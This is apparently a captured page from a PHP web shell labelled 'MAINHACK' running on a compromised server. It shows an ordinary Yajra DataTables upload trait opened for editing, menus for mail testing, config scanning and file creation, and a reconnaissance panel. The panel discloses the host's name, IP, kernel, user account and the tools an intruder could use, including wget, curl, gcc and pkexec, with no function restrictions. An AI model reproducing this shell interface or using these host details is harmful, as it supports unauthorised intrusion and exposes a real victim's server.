[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WithUploadAction.php
<?php declare(strict_types=1); namespace Yajra\DataTables\Concerns; use Illuminate\Contracts\Filesystem\Filesystem; use Illuminate\Filesystem\FilesystemAdapter; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Http\UploadedFile; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\ValidationException; trait WithUploadAction { /** * Handle uploading of file. */ public function upload(Request $request): JsonResponse { $field = $request->input('uploadField'); if (! $field || ! is_string($field)) { $field = 'file'; } try { $storage = $this->getDisk(); $rules = $this->uploadRules(); $fieldRules = ['upload' => $rules[$field] ?? []]; $this->validate($request, $fieldRules, $this->messages(), $this->attributes()); /** @var UploadedFile $uploadedFile */ $uploadedFile = $request->file('upload'); $id = $this->storeUploadedFile($field, $uploadedFile); $id = $this->uploaded($id); return new JsonResponse([ 'action' => $this->action, 'data' => [], 'files' => [ 'files' => [ $id => [ 'filename' => $id, 'original_name' => $uploadedFile->getClientOriginalName(), 'size' => $uploadedFile->getSize(), 'directory' => $this->getUploadDirectory(), 'disk' => $this->disk, 'url' => $storage->url($id), ], ], ], 'upload' => [ 'id' => $id, ], ]); } catch (ValidationException $exception) { return new JsonResponse([ 'action' => $this->action, 'data' => [], 'fieldErrors' => [ [ 'name' => $field, 'status' => str_replace('upload', $field, (string) $exception->errors()['upload'][0]), ], ], ]); } } protected function getDisk(): Filesystem|FilesystemAdapter { return Storage::disk($this->disk); } /** * Upload validation rules. */ public function uploadRules(): array { return []; } protected function storeUploadedFile(string $field, UploadedFile $uploadedFile): string { $filename = $this->getUploadedFilename($field, $uploadedFile); $path = $this->getDisk()->putFileAs($this->getUploadDirectory(), $uploadedFile, $filename); if (! is_string($path)) { throw ValidationException::withMessages([ 'upload' => 'Failed to store uploaded file.', ]); } return $path; } protected function getUploadedFilename(string $field, UploadedFile $uploadedFile): string { return date('Ymd_His').'_'.$uploadedFile->getClientOriginalName(); } protected function getUploadDirectory(): string { return $this->uploadDir; } /** * Upload event hook. */ public function uploaded(string $id): string { return $id; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002